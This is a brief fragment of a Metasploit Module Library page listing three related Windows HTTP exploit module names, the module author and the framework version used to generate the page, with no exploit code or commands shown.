• exploit/windows/http/hp_nnm_ovalarm_lang
• exploit/windows/http/novell_messenger_acceptlang
• exploit/windows/lotus/domino_http_accept_language

Authors

• krastanoel

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.